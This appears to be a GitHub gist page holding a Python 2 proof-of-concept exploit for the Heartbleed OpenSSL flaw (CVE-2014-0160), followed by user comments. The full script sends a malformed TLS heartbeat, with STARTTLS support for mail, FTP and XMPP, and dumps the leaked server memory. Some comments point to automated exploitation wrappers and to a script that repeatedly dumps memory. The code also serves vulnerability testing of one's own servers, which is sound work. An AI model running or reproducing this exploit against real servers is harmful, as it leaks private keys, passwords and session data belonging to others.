| #!/usr/bin/env python2 | |
| """ | |
| Author: takeshix <takeshix@adversec.com> | |
| PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org). | |
| Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP. | |
| """ | |
| import sys,struct,socket | |
| from argparse import ArgumentParser | |
| tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} | |
| def info(msg): | |
| print '[+] {}'.format(msg) | |
| def error(msg): | |
| print '[-] {}'.format(msg) | |
| sys.exit(0) | |
| def debug(msg): | |
| if opts.debug: print '[*] {}'.format(msg) | |
| def parse_cl(): | |
| global opts | |
| parser = ArgumentParser(description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') | |
| parser.add_argument('host', help='IP or hostname of target system') | |
| parser.add_argument('-p', '--port', metavar='Port', type=int, default=443, help='TCP port to test (default: 443)') | |
| parser.add_argument('-f', '--file', metavar='File', help='Dump leaked memory into outfile') | |
| parser.add_argument('-s', '--starttls', metavar='smtp|pop3|imap|ftp|xmpp', default=False, help='Check STARTTLS') | |
| parser.add_argument('-d', '--debug', action='store_true', default=False, help='Enable debug output') | |
| opts = parser.parse_args() | |
| def hex2bin(arr): | |
| return ''.join('{:02x}'.format(x) for x in arr).decode('hex') | |
| def build_client_hello(tls_ver): | |
| client_hello = [ | |
| # TLS header ( 5 bytes) | |
| 0x16, # Content type (0x16 for handshake) | |
| 0x03, tls_ver, # TLS Version | |
| 0x00, 0xdc, # Length | |
| # Handshake header | |
| 0x01, # Type (0x01 for ClientHello) | |
| 0x00, 0x00, 0xd8, # Length | |
| 0x03, tls_ver, # TLS Version | |
| # Random (32 byte) | |
| 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, | |
| 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, | |
| 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, | |
| 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, | |
| 0x00, # Session ID length | |
| 0x00, 0x66, # Cipher suites length | |
| # Cipher suites (51 suites) | |
| 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, | |
| 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87, | |
| 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, | |
| 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b, | |
| 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, | |
| 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f, | |
| 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, | |
| 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e, | |
| 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, | |
| 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02, | |
| 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, | |
| 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08, | |
| 0x00, 0x06, 0x00, 0x03, 0x00, 0xff, | |
| 0x01, # Compression methods length | |
| 0x00, # Compression method (0x00 for NULL) | |
| 0x00, 0x49, # Extensions length | |
| # Extension: ec_point_formats | |
| 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, | |
| # Extension: elliptic_curves | |
| 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, | |
| 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, | |
| 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, | |
| 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, | |
| 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, | |
| 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, | |
| 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, | |
| # Extension: SessionTicket TLS | |
| 0x00, 0x23, 0x00, 0x00, | |
| # Extension: Heartbeat | |
| 0x00, 0x0f, 0x00, 0x01, 0x01 | |
| ] | |
| return client_hello | |
| def build_heartbeat(tls_ver): | |
| heartbeat = [ | |
| 0x18, # Content Type (Heartbeat) | |
| 0x03, tls_ver, # TLS version | |
| 0x00, 0x03, # Length | |
| # Payload | |
| 0x01, # Type (Request) | |
| 0x40, 0x00 # Payload length | |
| ] | |
| return heartbeat | |
| def hexdump(s): | |
| for b in xrange(0, len(s), 16): | |
| lin = [c for c in s[b : b + 16]] | |
| hxdat = ' '.join('%02X' % ord(c) for c in lin) | |
| pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) | |
| print ' %04x: %-48s %s' % (b, hxdat, pdat) | |
| def rcv_tls_record(s): | |
| try: | |
| tls_header = s.recv(5) | |
| if not tls_header: | |
| error('Unexpected EOF (header)') | |
| typ,ver,length = struct.unpack('>BHH',tls_header) | |
| message = '' | |
| while len(message) != length: | |
| message += s.recv(length-len(message)) | |
| if not message: | |
| error('Unexpected EOF (message)') | |
| debug('Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)) | |
| return typ,ver,message | |
| except Exception as e: | |
| return None,None,None | |
| if __name__ == '__main__': | |
| parse_cl() | |
| try: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.settimeout(5) | |
| info('Connecting...') | |
| s.connect((opts.host, opts.port)) | |
| except Exception as e: | |
| error(str(e)) | |
| if opts.starttls: | |
| BUFSIZE=4096 | |
| if opts.starttls == 'smtp': | |
| re = s.recv(BUFSIZE) | |
| debug(re) | |
| s.send('ehlo starttlstest\r\n') | |
| re = s.recv(BUFSIZE) | |
| debug(re) | |
| if not 'STARTTLS' in re: | |
| debug(re) | |
| error('STARTTLS not supported') | |
| s.send('starttls\r\n') | |
| re = s.recv(BUFSIZE) | |
| elif opts.starttls == 'pop3': | |
| s.recv(BUFSIZE) | |
| s.send('STLS\r\n') | |
| s.recv(BUFSIZE) | |
| elif opts.starttls == 'imap': | |
| s.recv(BUFSIZE) | |
| s.send('STARTTLS\r\n') | |
| s.recv(BUFSIZE) | |
| elif opts.starttls == 'ftp': | |
| s.recv(BUFSIZE) | |
| s.send('AUTH TLS\r\n') | |
| s.recv(BUFSIZE) | |
| elif opts.starttls == 'xmpp': | |
| s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n") | |
| s.recv(BUFSIZE) | |
| supported = False | |
| for num,tlsver in tls_versions.items(): | |
| info('Sending ClientHello for {}'.format(tlsver)) | |
| s.send(hex2bin(build_client_hello(num))) | |
| info('Waiting for Server Hello...') | |
| while True: | |
| typ,ver,message = rcv_tls_record(s) | |
| if not typ: | |
| error('Server closed connection without sending ServerHello for {}'.format(tlsver)) | |
| continue | |
| if typ is 22 and ord(message[0]) is 0x0E: | |
| info('Reveiced ServerHello for {}'.format(tlsver)) | |
| supported = num | |
| break | |
| if supported: break | |
| if not supported: | |
| error('No TLS version is supported') | |
| info('Sending heartbeat request...') | |
| s.send(hex2bin(build_heartbeat(supported))) | |
| while True: | |
| typ,ver,message = rcv_tls_record(s) | |
| if not typ: | |
| error('No heartbeat response received, server likely not vulnerable') | |
| if typ is 24: | |
| info('Received heartbeat response:') | |
| if len(message) > 3: | |
| if opts.file: | |
| try: | |
| f = open(opts.file,'w') | |
| f.write(message) | |
| f.flush() | |
| f.close() | |
| debug('Written leaked memory into {}'.format(opts.file)) | |
| except Exception as e: | |
| error(str(e)) | |
| else: | |
| hexdump(message) | |
| info('Server is vulnerable!') | |
| sys.exit(0) | |
| else: | |
| error('Server processed malformed heartbeat, but did not return any extra data.') | |
| elif typ is 21: | |
| error('Received alert') |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
ghost
commented
Apr 8, 2014
|
Hi, a "quick'n'dirty OpenVAS nasl wrapper for this script is available here: |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
dyatlov
Apr 8, 2014
here is quick&dirty port of this script to python3: https://gist.github.com/dyatlov/10192468
dyatlov
commented
Apr 8, 2014
|
here is quick&dirty port of this script to python3: https://gist.github.com/dyatlov/10192468 |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
isgroup-srl
Apr 8, 2014
We are releasing OpenMAGIC https://github.com/isgroup-srl/openmagic a wrapper to automatically exploit the OpenSSL CVE-2014-0160 vulnerability
isgroup-srl
commented
Apr 8, 2014
|
We are releasing OpenMAGIC https://github.com/isgroup-srl/openmagic a wrapper to automatically exploit the OpenSSL CVE-2014-0160 vulnerability |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
paweloque
Apr 9, 2014
Can you please explain how did you construct the heartbeat request: hb = h2bin('''18 03 02 00 03 01 40 00''')
It must somehow correspond to the HeartbeatMessage struct, but I don't manage to construct it myself. Shouldn't struct.pack('>BH', {1,2}, len) give the results?
paweloque
commented
Apr 9, 2014
|
Can you please explain how did you construct the heartbeat request: hb = h2bin('''18 03 02 00 03 01 40 00''') |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
klutzy
Apr 9, 2014
This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".
klutzy
commented
Apr 9, 2014
|
This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00". |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
decal
Apr 9, 2014
https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py This is a slight modification based on OpenSSL apps/s_client.c source code that implements STARTTLS for SMTP, POP3, IMAP, FTP and XMPP.
decal
commented
Apr 9, 2014
|
https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py This is a slight modification based on OpenSSL apps/s_client.c source code that implements STARTTLS for SMTP, POP3, IMAP, FTP and XMPP. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
radum
Apr 10, 2014
Now add these 3 lines of code and dump this file in the same folder to make it work behind a corporate proxy:
Uses the http://socksipy.sourceforge.net/ lib
import socks
...
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, "proxy.server", 8080, True)
socket.socket = socks.socksocket
radum
commented
Apr 10, 2014
|
Now add these 3 lines of code and dump this file in the same folder to make it work behind a corporate proxy: Uses the http://socksipy.sourceforge.net/ lib import socks
...
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, "proxy.server", 8080, True)
socket.socket = socks.socksocket |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
pqrth
Apr 10, 2014
Quick and dirty batch script to dump Heartbleed memory leak at regular interval using this script.
https://gist.github.com/partp/10377512
pqrth
commented
Apr 10, 2014
|
Quick and dirty batch script to dump Heartbleed memory leak at regular interval using this script. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
537
commented
Apr 10, 2014
|
Quick and dirty. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
xamiel
Apr 10, 2014
Lines 122 and 129 in the starttls section:
Had to add a '\r' before the '\n' or the script would sit and wait.
Thanks for the script though. :)
xamiel
commented
Apr 10, 2014
|
Lines 122 and 129 in the starttls section: Thanks for the script though. :) |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
ghost
Apr 12, 2014
This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".
Yes, thats true. This script only have found 13 vulnerable servers at an testrange where 103 vulnerable server where found using Nessus for example. Also most Servers are also only answers on TLS 1.0.
ghost
commented
Apr 12, 2014
Yes, thats true. This script only have found 13 vulnerable servers at an testrange where 103 vulnerable server where found using Nessus for example. Also most Servers are also only answers on TLS 1.0. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
zenoamaro
Apr 12, 2014
A bit late to the party, but: https://gist.github.com/zenoamaro/10560337
Still derived from original code. Cleaned up, added support for TLS revision, variable payload length, dumping to file, searching for leak of sensitive data via regex. Will add STARTTLS later on if I get to test that.
zenoamaro
commented
Apr 12, 2014
|
A bit late to the party, but: https://gist.github.com/zenoamaro/10560337 Still derived from original code. Cleaned up, added support for TLS revision, variable payload length, dumping to file, searching for leak of sensitive data via regex. Will add STARTTLS later on if I get to test that. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
ah8r
Apr 13, 2014
This assumes TLS 1.2, but some servers only respond to heartbeat request with TLS 1.1 header. For example, medium.com doesn't respond until you replace "18 03 02 00 03 01 40 00" with "18 03 01 00 03 01 40 00".
I think your version numbers are mixed up. The bytes "03 02" in the ClientHello set the version of TLS to 1.1, not 1.2. To set the version of TLS to 1.2, you'd have to use bytes "03 03", and for TLS 1.0 you need "03 01".
Also, note that the bytes that refer to the version number of TLS appear twice in the ClientHello (at byte positions 1-2 and 9-10) and once in the heartbeat request.
ah8r
commented
Apr 13, 2014
I think your version numbers are mixed up. The bytes "03 02" in the ClientHello set the version of TLS to 1.1, not 1.2. To set the version of TLS to 1.2, you'd have to use bytes "03 03", and for TLS 1.0 you need "03 01". Also, note that the bytes that refer to the version number of TLS appear twice in the ClientHello (at byte positions 1-2 and 9-10) and once in the heartbeat request. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
takeshixx
Apr 13, 2014
I quickly rewrote the complete script and added support for various features. I also added some information about the TLS messages, to make the procedure more clear.
|
I quickly rewrote the complete script and added support for various features. I also added some information about the TLS messages, to make the procedure more clear. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
King68
Apr 14, 2014
Hi I am getting Following error when executing this query.
File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indent
I am pretty new in Python, can you please explain a bit, what should be done. i am running script on Windoes 7, and Python 34, through cmd command
King68
commented
Apr 14, 2014
|
Hi I am getting Following error when executing this query. I am pretty new in Python, can you please explain a bit, what should be done. i am running script on Windoes 7, and Python 34, through cmd command |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
takeshixx
Apr 14, 2014
This script was written for Python 2. It is not compatible with Python 3.x. Besides other incompatibilities in this script, that's whats causing your error: https://docs.python.org/3.0/whatsnew/3.0.html#print-is-a-function
|
This script was written for Python 2. It is not compatible with Python 3.x. Besides other incompatibilities in this script, that's whats causing your error: https://docs.python.org/3.0/whatsnew/3.0.html#print-is-a-function |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
King68
Apr 14, 2014
actually i am using both Python version. in 2.7 i am getting same error. any ideas?
python2.7 main.py
File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indented block
King68
commented
Apr 14, 2014
|
actually i am using both Python version. in 2.7 i am getting same error. any ideas? python2.7 main.py File "main.py", line 15 |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
scarecrow06
commented
Apr 15, 2014
|
Ok. so after I get the text file. How am I supposed to analyze this? |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
thallam08
Apr 16, 2014
I had to change all the unnamed fields to named ones to get this to work in python 2.6 (Red Hat)
If it just hangs there for a long time I assume that means that the Heartbeat extension is not available, it's not getting a response, so is not vulnerable.
thallam08
commented
Apr 16, 2014
|
I had to change all the unnamed fields to named ones to get this to work in python 2.6 (Red Hat) If it just hangs there for a long time I assume that means that the Heartbeat extension is not available, it's not getting a response, so is not vulnerable. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
ghost
Apr 16, 2014
Hi,
just a side note: Some special server configurations are not detected by this script. There was a similar problem in OpenVAS:
http://lists.wald.intevation.org/pipermail/openvas-nvts-commits/2014-April/000369.html
where the SERVER_HELLO was not detected. The current version of this script here just stalls at:
[+] Waiting for Server Hello...
where OpenVAS and also the Metasploit module detects an vulnerable server.
ghost
commented
Apr 16, 2014
|
Hi, just a side note: Some special server configurations are not detected by this script. There was a similar problem in OpenVAS: http://lists.wald.intevation.org/pipermail/openvas-nvts-commits/2014-April/000369.html where the SERVER_HELLO was not detected. The current version of this script here just stalls at: [+] Waiting for Server Hello... where OpenVAS and also the Metasploit module detects an vulnerable server. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
PhilipCurtis
Apr 18, 2014
King68 commented 4 days ago
actually i am using both Python version. in 2.7 i am getting same error. any ideas?
python2.7 main.py
File "main.py", line 15
print '[+] {}'.format(msg)
^
IndentationError: expected an indented block
Corrected this by copying and pasting into a Microsoft word document. Then, I cut right from it from there and paste it into a file. Doing this will keep the tab format intact.
PhilipCurtis
commented
Apr 18, 2014
|
King68 commented 4 days ago actually i am using both Python version. in 2.7 i am getting same error. any ideas? python2.7 main.py File "main.py", line 15 Corrected this by copying and pasting into a Microsoft word document. Then, I cut right from it from there and paste it into a file. Doing this will keep the tab format intact. |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
JensAndree
Apr 21, 2014
@PhilipCurtis Python is a intendation-sensetive language and you have corrupted the intendation when you created the file, thus getting the error. Correct the intendation in the code and it will run. Pretty basic stuff really...
JensAndree
commented
Apr 21, 2014
|
@PhilipCurtis Python is a intendation-sensetive language and you have corrupted the intendation when you created the file, thus getting the error. Correct the intendation in the code and it will run. Pretty basic stuff really... |
Hi,
a "quick'n'dirty OpenVAS nasl wrapper for this script is available here:
https://gist.github.com/RealRancor/10140249